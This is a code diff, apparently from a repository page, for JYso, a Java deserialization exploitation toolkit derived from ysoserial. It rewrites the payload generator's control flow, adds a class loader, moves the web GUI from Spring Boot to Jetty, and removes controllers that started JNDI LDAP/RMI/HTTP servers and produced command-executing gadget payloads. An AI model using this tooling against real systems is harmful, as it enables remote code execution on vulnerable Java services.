}
|
||||||
|
|
||||||
|
|
||||||
@@ -104,12 +102,6 @@ public class ysoserial {
|
|||||||
object = new DirtyDataWrapper(object, type, length).doWrap();
|
object = new DirtyDataWrapper(object, type, length).doWrap();
|
||||||
}
|
}
|
||||||
|
|
||||||
// 储存生成的 payload
|
|
||||||
PAYLOAD = object;
|
|
||||||
if (isFromExploit()) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
OutputStream out;
|
OutputStream out;
|
||||||
|
|
||||||
if (Config.WRITE_FILE) {
|
if (Config.WRITE_FILE) {
|
||||||
@@ -183,7 +175,6 @@ public class ysoserial {
|
|||||||
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
System.err.println("Recommended Usage: -y -g [payload] -p '[command]' -dt 1 -dl 50000 -o -i -f evil.ser");
|
||||||
System.err.println("If you want your payload being extremely short,you could just use:");
|
System.err.println("If you want your payload being extremely short,you could just use:");
|
||||||
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
System.err.println("java -jar JYso-[version].jar -y -g [payload] -p '[command]' -i -f evil.ser");
|
||||||
System.exit(0);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -96,7 +96,6 @@ public class JRE8u20 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
if (JYsoMode) {
|
if (JYsoMode) {
|
||||||
ser.write(System.out);
|
ser.write(System.out);
|
||||||
System.exit(0);
|
|
||||||
}
|
}
|
||||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
ser.write(out);
|
ser.write(out);
|
||||||
|
|||||||
@@ -45,4 +45,4 @@ public class Jackson2 implements ObjectPayload<Object> {
|
|||||||
setFieldValue(val, "suppressedExceptions", null);
|
setFieldValue(val, "suppressedExceptions", null);
|
||||||
return val;
|
return val;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -122,4 +122,4 @@ public class Jackson3 implements ObjectPayload<Object> {
|
|||||||
|
|
||||||
return getEventListenerList(node);
|
return getEventListenerList(node);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -41,4 +41,4 @@ public class Jackson4 implements ObjectPayload<Object> {
|
|||||||
map2.put("zZ", node);
|
map2.put("zZ", node);
|
||||||
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
|
return com.qi4l.JYso.gadgets.utils.Utils.makeMap(map1, map2);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -48,16 +48,6 @@ public class StringUtil {
|
|||||||
return lines;
|
return lines;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static boolean isFromExploit() {
|
|
||||||
StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace();
|
|
||||||
for (StackTraceElement stackTraceElement : stackTraceElements) {
|
|
||||||
if (stackTraceElement.getClassName().startsWith("com.qi4l.JYso.exploit")) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class ToStringComparator implements Comparator<Object> {
|
public static class ToStringComparator implements Comparator<Object> {
|
||||||
|
|
||||||
public int compare(Object o1, Object o2) {
|
public int compare(Object o1, Object o2) {
|
||||||
|
|||||||
@@ -1,8 +1,43 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils;
|
package com.qi4l.JYso.gadgets.utils;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
|
||||||
public class SuClassLoader extends ClassLoader {
|
public class SuClassLoader extends ClassLoader {
|
||||||
|
|
||||||
|
private final Set<String> skipParentClasses;
|
||||||
|
|
||||||
public SuClassLoader() {
|
public SuClassLoader() {
|
||||||
super(Thread.currentThread().getContextClassLoader());
|
super(Thread.currentThread().getContextClassLoader());
|
||||||
|
this.skipParentClasses = Collections.emptySet();
|
||||||
|
}
|
||||||
|
|
||||||
|
public SuClassLoader(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
this.skipParentClasses = Collections.emptySet();
|
||||||
|
}
|
||||||
|
|
||||||
|
public SuClassLoader(ClassLoader parent, String skipParentClass) {
|
||||||
|
super(parent);
|
||||||
|
this.skipParentClasses = ConcurrentHashMap.newKeySet();
|
||||||
|
this.skipParentClasses.add(skipParentClass);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
|
||||||
|
if (skipParentClasses.contains(name)) {
|
||||||
|
Class<?> c = findLoadedClass(name);
|
||||||
|
if (c != null) return c;
|
||||||
|
c = findClass(name);
|
||||||
|
if (resolve) resolveClass(c);
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
return super.loadClass(name, resolve);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Class<?> findClass(String name) throws ClassNotFoundException {
|
||||||
|
throw new ClassNotFoundException(name);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,21 +9,20 @@ import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
|
|||||||
import com.qi4l.JYso.web.config.WebPasswordGenerator;
|
import com.qi4l.JYso.web.config.WebPasswordGenerator;
|
||||||
import org.apache.logging.log4j.LogManager;
|
import org.apache.logging.log4j.LogManager;
|
||||||
import org.apache.logging.log4j.Logger;
|
import org.apache.logging.log4j.Logger;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.eclipse.jetty.server.Server;
|
||||||
import org.springframework.boot.WebApplicationType;
|
import org.eclipse.jetty.servlet.FilterHolder;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.eclipse.jetty.servlet.ServletContextHandler;
|
||||||
import org.springframework.boot.builder.SpringApplicationBuilder;
|
import org.eclipse.jetty.servlet.ServletHolder;
|
||||||
import org.springframework.context.ConfigurableApplicationContext;
|
|
||||||
|
|
||||||
|
import javax.servlet.DispatcherType;
|
||||||
import java.awt.*;
|
import java.awt.*;
|
||||||
import java.awt.datatransfer.StringSelection;
|
import java.awt.datatransfer.StringSelection;
|
||||||
import java.util.Properties;
|
import java.util.EnumSet;
|
||||||
import java.util.concurrent.CountDownLatch;
|
import java.util.concurrent.CountDownLatch;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||||
import static org.fusesource.jansi.Ansi.ansi;
|
import static org.fusesource.jansi.Ansi.ansi;
|
||||||
|
|
||||||
@SpringBootApplication(scanBasePackages = "com.qi4l.JYso.web")
|
|
||||||
public class JYsoWebApplication {
|
public class JYsoWebApplication {
|
||||||
|
|
||||||
private static final Logger log = LogManager.getLogger(JYsoWebApplication.class);
|
private static final Logger log = LogManager.getLogger(JYsoWebApplication.class);
|
||||||
@@ -58,26 +57,38 @@ public class JYsoWebApplication {
|
|||||||
|
|
||||||
startJndiServers(args);
|
startJndiServers(args);
|
||||||
|
|
||||||
Properties props = new Properties();
|
|
||||||
props.put("server.port", String.valueOf(webPort));
|
|
||||||
props.put("spring.main.banner-mode", "off");
|
|
||||||
props.put("spring.main.web-application-type", "servlet");
|
|
||||||
|
|
||||||
ConfigurableApplicationContext ctx = new SpringApplicationBuilder(JYsoWebApplication.class)
|
|
||||||
.web(WebApplicationType.SERVLET)
|
|
||||||
.properties(props)
|
|
||||||
.run(filterWebArgs(args));
|
|
||||||
|
|
||||||
CountDownLatch latch = new CountDownLatch(1);
|
|
||||||
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
|
||||||
log.info("Shutting down...");
|
|
||||||
ctx.close();
|
|
||||||
latch.countDown();
|
|
||||||
}));
|
|
||||||
try {
|
try {
|
||||||
|
Server server = new Server(webPort);
|
||||||
|
ServletContextHandler context = new ServletContextHandler(ServletContextHandler.SESSIONS);
|
||||||
|
context.setContextPath("/");
|
||||||
|
server.setHandler(context);
|
||||||
|
|
||||||
|
context.addFilter(new FilterHolder(new ApiAuthFilter()), "/api/*", EnumSet.of(DispatcherType.REQUEST));
|
||||||
|
|
||||||
|
context.addServlet(new ServletHolder(new AuthServlet()), "/api/auth/login");
|
||||||
|
|
||||||
|
context.addServlet(new ServletHolder(new JettyApiServlet()), "/api/*");
|
||||||
|
|
||||||
|
context.addFilter(new FilterHolder(new SpaFallbackFilter()), "/*", EnumSet.of(DispatcherType.REQUEST));
|
||||||
|
|
||||||
|
context.addServlet(new ServletHolder(new StaticResourceServlet()), "/");
|
||||||
|
|
||||||
|
server.start();
|
||||||
|
System.out.println(ansi().render("@|green [+]|@ Web GUI started on http://127.0.0.1:" + webPort));
|
||||||
|
|
||||||
|
CountDownLatch latch = new CountDownLatch(1);
|
||||||
|
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
|
||||||
|
log.info("Shutting down...");
|
||||||
|
try {
|
||||||
|
server.stop();
|
||||||
|
} catch (Exception e) {
|
||||||
|
log.error("Stop error", e);
|
||||||
|
}
|
||||||
|
latch.countDown();
|
||||||
|
}));
|
||||||
latch.await();
|
latch.await();
|
||||||
} catch (InterruptedException e) {
|
} catch (Exception e) {
|
||||||
Thread.currentThread().interrupt();
|
log.error("Failed to start web server", e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -88,7 +99,6 @@ public class JYsoWebApplication {
|
|||||||
);
|
);
|
||||||
System.out.println(ansi().render("@|cyan [+]|@ Password copied to clipboard"));
|
System.out.println(ansi().render("@|cyan [+]|@ Password copied to clipboard"));
|
||||||
} catch (HeadlessException e) {
|
} catch (HeadlessException e) {
|
||||||
// headless environment, clipboard unavailable
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
System.out.println(ansi().render("@|yellow [!]|@ Could not copy to clipboard: " + e.getMessage()));
|
System.out.println(ansi().render("@|yellow [!]|@ Could not copy to clipboard: " + e.getMessage()));
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,51 +0,0 @@
|
|||||||
package com.qi4l.JYso.web.config;
|
|
||||||
|
|
||||||
import org.springframework.context.annotation.Bean;
|
|
||||||
import org.springframework.context.annotation.Configuration;
|
|
||||||
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
|
|
||||||
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
|
|
||||||
import org.springframework.security.config.http.SessionCreationPolicy;
|
|
||||||
import org.springframework.security.core.userdetails.User;
|
|
||||||
import org.springframework.security.core.userdetails.UserDetails;
|
|
||||||
import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
|
|
||||||
import org.springframework.security.crypto.password.PasswordEncoder;
|
|
||||||
import org.springframework.security.provisioning.InMemoryUserDetailsManager;
|
|
||||||
import org.springframework.security.web.SecurityFilterChain;
|
|
||||||
import org.springframework.security.web.authentication.UsernamePasswordAuthenticationFilter;
|
|
||||||
|
|
||||||
@Configuration
|
|
||||||
@EnableWebSecurity
|
|
||||||
public class SecurityConfig {
|
|
||||||
|
|
||||||
@Bean
|
|
||||||
public PasswordEncoder passwordEncoder() {
|
|
||||||
return new BCryptPasswordEncoder();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Bean
|
|
||||||
public InMemoryUserDetailsManager userDetailsService() {
|
|
||||||
UserDetails user = User.builder()
|
|
||||||
.username("qi")
|
|
||||||
.password(passwordEncoder().encode(JYsoWebPasswordProvider.getPassword()))
|
|
||||||
.roles("ADMIN")
|
|
||||||
.build();
|
|
||||||
return new InMemoryUserDetailsManager(user);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Bean
|
|
||||||
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
|
|
||||||
http
|
|
||||||
.csrf().disable()
|
|
||||||
.sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
|
|
||||||
.and()
|
|
||||||
.authorizeRequests()
|
|
||||||
.anyRequest().permitAll()
|
|
||||||
.and()
|
|
||||||
.httpBasic().disable()
|
|
||||||
.formLogin().disable()
|
|
||||||
.logout().disable()
|
|
||||||
.addFilterBefore(new TokenAuthFilter(), UsernamePasswordAuthenticationFilter.class);
|
|
||||||
|
|
||||||
return http.build();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,43 +0,0 @@
|
|||||||
package com.qi4l.JYso.web.config;
|
|
||||||
|
|
||||||
import com.qi4l.JYso.web.controller.AuthController;
|
|
||||||
import org.springframework.web.filter.OncePerRequestFilter;
|
|
||||||
|
|
||||||
import javax.servlet.FilterChain;
|
|
||||||
import javax.servlet.ServletException;
|
|
||||||
import javax.servlet.http.HttpServletRequest;
|
|
||||||
import javax.servlet.http.HttpServletResponse;
|
|
||||||
import java.io.IOException;
|
|
||||||
|
|
||||||
public class TokenAuthFilter extends OncePerRequestFilter {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
protected void doFilterInternal(HttpServletRequest request,
|
|
||||||
HttpServletResponse response,
|
|
||||||
FilterChain filterChain) throws ServletException, IOException {
|
|
||||||
|
|
||||||
String path = request.getRequestURI();
|
|
||||||
if (!path.startsWith("/api/") || path.equals("/api/auth/login")) {
|
|
||||||
filterChain.doFilter(request, response);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
String authHeader = request.getHeader("Authorization");
|
|
||||||
if (authHeader == null || !authHeader.startsWith("Bearer ")) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
|
|
||||||
response.setContentType("application/json");
|
|
||||||
response.getWriter().write("{\"error\":\"Unauthorized\"}");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
String token = authHeader.substring(7);
|
|
||||||
if (!AuthController.validateToken(token)) {
|
|
||||||
response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
|
|
||||||
response.setContentType("application/json");
|
|
||||||
response.getWriter().write("{\"error\":\"Invalid token\"}");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
filterChain.doFilter(request, response);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,31 +0,0 @@
|
|||||||
package com.qi4l.JYso.web.config;
|
|
||||||
|
|
||||||
import org.springframework.context.annotation.Configuration;
|
|
||||||
import org.springframework.web.servlet.config.annotation.CorsRegistry;
|
|
||||||
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
|
|
||||||
import org.springframework.web.servlet.config.annotation.ViewControllerRegistry;
|
|
||||||
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
|
|
||||||
|
|
||||||
@Configuration
|
|
||||||
public class WebConfig implements WebMvcConfigurer {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void addCorsMappings(CorsRegistry registry) {
|
|
||||||
registry.addMapping("/api/**")
|
|
||||||
.allowedOrigins("*")
|
|
||||||
.allowedMethods("GET", "POST", "PUT", "DELETE")
|
|
||||||
.allowedHeaders("*");
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void addResourceHandlers(ResourceHandlerRegistry registry) {
|
|
||||||
registry.addResourceHandler("/**")
|
|
||||||
.addResourceLocations("classpath:/static/");
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public void addViewControllers(ViewControllerRegistry registry) {
|
|
||||||
registry.addViewController("/").setViewName("forward:/index.html");
|
|
||||||
registry.addViewController("/{path:[^\\.]*}").setViewName("forward:/index.html");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,237 +0,0 @@
|
|||||||
package com.qi4l.JYso.web.controller;
|
|
||||||
|
|
||||||
import com.qi4l.JYso.HTTPServer;
|
|
||||||
import com.qi4l.JYso.LdapServer;
|
|
||||||
import com.qi4l.JYso.LdapsServer;
|
|
||||||
import com.qi4l.JYso.RMIServer;
|
|
||||||
import com.qi4l.JYso.Starter;
|
|
||||||
import com.qi4l.JYso.gadgets.Config.Config;
|
|
||||||
import com.qi4l.JYso.gadgets.Config.ysoserial;
|
|
||||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.*;
|
|
||||||
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api")
|
|
||||||
public class ApiController {
|
|
||||||
|
|
||||||
@GetMapping("/status")
|
|
||||||
public Map<String, Object> getStatus() {
|
|
||||||
Map<String, Object> status = new LinkedHashMap<>();
|
|
||||||
status.put("ldapRunning", LdapServer.isRunning);
|
|
||||||
status.put("ldapsRunning", LdapsServer.isRunning);
|
|
||||||
status.put("httpRunning", HTTPServer.isRunning);
|
|
||||||
status.put("rmiRunning", RMIServer.isRunning);
|
|
||||||
status.put("ip", Config.ip);
|
|
||||||
status.put("ldapPort", Config.ldapPort);
|
|
||||||
status.put("ldapsPort", Config.ldapsPort);
|
|
||||||
status.put("httpPort", Config.httpPort);
|
|
||||||
status.put("rmiPort", Config.rmiPort);
|
|
||||||
status.put("codeBase", Config.codeBase);
|
|
||||||
status.put("AESkey", Config.AESkey);
|
|
||||||
status.put("user", Config.USER);
|
|
||||||
status.put("PASSWD", Config.PASSWD);
|
|
||||||
status.put("TLSProxy", Config.TLSProxy);
|
|
||||||
status.put("keyPass", Config.keyPass);
|
|
||||||
status.put("certFile", Config.certFile);
|
|
||||||
status.put("version", "1.3.8");
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/servers/start")
|
|
||||||
public Map<String, Object> startServers(@RequestBody Map<String, Object> body) {
|
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
List<String> started = new ArrayList<>();
|
|
||||||
List<String> errors = new ArrayList<>();
|
|
||||||
|
|
||||||
boolean startLdap = body.get("ldap") != null && Boolean.TRUE.equals(body.get("ldap"));
|
|
||||||
boolean startLdaps = body.get("ldaps") != null && Boolean.TRUE.equals(body.get("ldaps"));
|
|
||||||
boolean startHttp = body.get("http") != null && Boolean.TRUE.equals(body.get("http"));
|
|
||||||
boolean startRmi = body.get("rmi") != null && Boolean.TRUE.equals(body.get("rmi"));
|
|
||||||
|
|
||||||
if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
|
|
||||||
if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
|
|
||||||
if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
|
|
||||||
if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
|
|
||||||
if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
|
|
||||||
|
|
||||||
if (startLdap && !LdapServer.isRunning) {
|
|
||||||
new Thread(() -> {
|
|
||||||
try { LdapServer.start(); } catch (Exception ignored) {}
|
|
||||||
}, "ldap-starter").start();
|
|
||||||
started.add("LDAP");
|
|
||||||
}
|
|
||||||
if (startHttp && !HTTPServer.isRunning) {
|
|
||||||
new Thread(() -> {
|
|
||||||
try { HTTPServer.start(); } catch (Exception ignored) {}
|
|
||||||
}, "http-starter").start();
|
|
||||||
started.add("HTTP");
|
|
||||||
}
|
|
||||||
if (startLdaps && !LdapsServer.isRunning) {
|
|
||||||
new Thread(() -> {
|
|
||||||
try { LdapsServer.start(); } catch (Exception ignored) {}
|
|
||||||
}, "ldaps-starter").start();
|
|
||||||
started.add("LDAPS");
|
|
||||||
}
|
|
||||||
if (startRmi && !RMIServer.isRunning) {
|
|
||||||
new Thread(() -> {
|
|
||||||
try { RMIServer.start(); } catch (Exception ignored) {}
|
|
||||||
}, "rmi-starter").start();
|
|
||||||
started.add("RMI");
|
|
||||||
}
|
|
||||||
|
|
||||||
result.put("started", started);
|
|
||||||
result.put("errors", errors);
|
|
||||||
result.put("success", true);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/servers/stop")
|
|
||||||
public Map<String, Object> stopServer(@RequestBody Map<String, Object> body) {
|
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
String server = (String) body.get("server");
|
|
||||||
if (server == null) {
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", "server name required");
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
switch (server.toLowerCase()) {
|
|
||||||
case "ldap":
|
|
||||||
LdapServer.stop();
|
|
||||||
break;
|
|
||||||
case "ldaps":
|
|
||||||
LdapsServer.stop();
|
|
||||||
break;
|
|
||||||
case "http":
|
|
||||||
HTTPServer.stop();
|
|
||||||
break;
|
|
||||||
case "rmi":
|
|
||||||
RMIServer.stop();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", "unknown server: " + server);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
result.put("success", true);
|
|
||||||
result.put("server", server);
|
|
||||||
result.put("status", getStatus());
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/servers/toggle")
|
|
||||||
public Map<String, Object> toggleServer(@RequestBody Map<String, Object> body) {
|
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
String server = (String) body.get("server");
|
|
||||||
if (server == null) {
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", "server name required");
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
boolean nowRunning;
|
|
||||||
switch (server.toLowerCase()) {
|
|
||||||
case "ldap":
|
|
||||||
if (LdapServer.isRunning) LdapServer.stop();
|
|
||||||
else new Thread(() -> { try { LdapServer.start(); } catch (Exception ignored) {} }, "ldap-toggler").start();
|
|
||||||
nowRunning = !LdapServer.isRunning;
|
|
||||||
break;
|
|
||||||
case "ldaps":
|
|
||||||
if (LdapsServer.isRunning) LdapsServer.stop();
|
|
||||||
else new Thread(() -> { try { LdapsServer.start(); } catch (Exception ignored) {} }, "ldaps-toggler").start();
|
|
||||||
nowRunning = !LdapsServer.isRunning;
|
|
||||||
break;
|
|
||||||
case "http":
|
|
||||||
if (HTTPServer.isRunning) HTTPServer.stop();
|
|
||||||
else new Thread(() -> { try { HTTPServer.start(); } catch (Exception ignored) {} }, "http-toggler").start();
|
|
||||||
nowRunning = !HTTPServer.isRunning;
|
|
||||||
break;
|
|
||||||
case "rmi":
|
|
||||||
if (RMIServer.isRunning) RMIServer.stop();
|
|
||||||
else new Thread(() -> { try { RMIServer.start(); } catch (Exception ignored) {} }, "rmi-toggler").start();
|
|
||||||
nowRunning = !RMIServer.isRunning;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", "unknown server: " + server);
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
try { Thread.sleep(800); } catch (InterruptedException e) { Thread.currentThread().interrupt(); }
|
|
||||||
result.put("success", true);
|
|
||||||
result.put("server", server);
|
|
||||||
result.put("running", nowRunning);
|
|
||||||
result.put("status", getStatus());
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/gadgets")
|
|
||||||
public List<Map<String, Object>> listGadgets() {
|
|
||||||
List<Map<String, Object>> list = new ArrayList<>();
|
|
||||||
for (String name : Starter.caseInsensitiveObjectPayloadMap.keySet()) {
|
|
||||||
Map<String, Object> item = new LinkedHashMap<>();
|
|
||||||
String shortName = name.substring(name.lastIndexOf('.') + 1);
|
|
||||||
item.put("name", shortName);
|
|
||||||
item.put("fullName", name);
|
|
||||||
list.add(item);
|
|
||||||
}
|
|
||||||
return list;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/payload/generate")
|
|
||||||
public Map<String, Object> generatePayload(@RequestBody Map<String, Object> body) {
|
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
|
|
||||||
String gadget = (String) body.get("gadget");
|
|
||||||
String command = (String) body.get("command");
|
|
||||||
|
|
||||||
if (gadget == null || command == null) {
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", "gadget and command are required");
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
Starter.JYsoMode = true;
|
|
||||||
String[] args = new String[]{
|
|
||||||
"-y",
|
|
||||||
"-g", gadget,
|
|
||||||
"-p", command
|
|
||||||
};
|
|
||||||
ysoserial.run(args);
|
|
||||||
result.put("success", true);
|
|
||||||
result.put("message", "Payload generated successfully");
|
|
||||||
} catch (Exception e) {
|
|
||||||
result.put("success", false);
|
|
||||||
result.put("error", e.getMessage());
|
|
||||||
}
|
|
||||||
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
@PostMapping("/config/update")
|
|
||||||
public Map<String, Object> updateConfig(@RequestBody Map<String, Object> body) {
|
|
||||||
Map<String, Object> result = new LinkedHashMap<>();
|
|
||||||
|
|
||||||
if (body.containsKey("ip")) Config.ip = (String) body.get("ip");
|
|
||||||
if (body.containsKey("ldapPort")) Config.ldapPort = (Integer) body.get("ldapPort");
|
|
||||||
if (body.containsKey("ldapsPort")) Config.ldapsPort = (Integer) body.get("ldapsPort");
|
|
||||||
if (body.containsKey("httpPort")) Config.httpPort = (Integer) body.get("httpPort");
|
|
||||||
if (body.containsKey("rmiPort")) Config.rmiPort = (Integer) body.get("rmiPort");
|
|
||||||
if (body.containsKey("codeBase")) Config.codeBase = (String) body.get("codeBase");
|
|
||||||
if (body.containsKey("AESkey")) Config.AESkey = (String) body.get("AESkey");
|
|
||||||
if (body.containsKey("user")) Config.USER = (String) body.get("user");
|
|
||||||
if (body.containsKey("PASSWD")) Config.PASSWD = (String) body.get("PASSWD");
|
|
||||||
if (body.containsKey("TLSProxy")) Config.TLSProxy = Boolean.TRUE.equals(body.get("TLSProxy"));
|
|
||||||
if (body.containsKey("keyPass")) Config.keyPass = (String) body.get("keyPass");
|
|
||||||
if (body.containsKey("certFile")) Config.certFile = (String) body.get("certFile");
|
|
||||||
|
|
||||||
result.put("success", true);
|
|
||||||
result.put("config", getStatus());
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
@GetMapping("/config")
|
|
||||||
public Map<String, Object> getConfig() {
|
|
||||||
return getStatus();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,40 +0,0 @@
|
|||||||
package com.qi4l.JYso.web.controller;
|
|
||||||
|
|
||||||
import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.*;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.UUID;
|
|
||||||
import java.util.concurrent.ConcurrentHashMap;
|
|
||||||
|
|
||||||
@RestController
|
|
||||||
@RequestMapping("/api/auth")
|
|
||||||
public class AuthController {
|
|
||||||
|
|
||||||
private static final ConcurrentHashMap<String, String> tokens = new ConcurrentHashMap<>();
|
|
||||||
|
|
||||||
@PostMapping("/login")
|
|
||||||
public ResponseEntity<?> login(@RequestBody Map<String, String> body) {
|
|
||||||
String username = body.get("username");
|
|
||||||
String password = body.get("password");
|
|
||||||
|
|
||||||
if (!"qi".equals(username) || !JYsoWebPasswordProvider.getPassword().equals(password)) {
|
|
||||||
Map<String, String> error = new HashMap<>();
|
|
||||||
error.put("error", "Invalid credentials");
|
|
||||||
return ResponseEntity.status(401).body(error);
|
|
||||||
}
|
|
||||||
|
|
||||||
String token = UUID.randomUUID().toString();
|
|
||||||
tokens.put(token, username);
|
|
||||||
Map<String, String> result = new HashMap<>();
|
|
||||||
result.put("token", token);
|
|
||||||
result.put("username", username);
|
|
||||||
return ResponseEntity.ok(result);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static boolean validateToken(String token) {
|
|
||||||
return token != null && tokens.containsKey(token);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user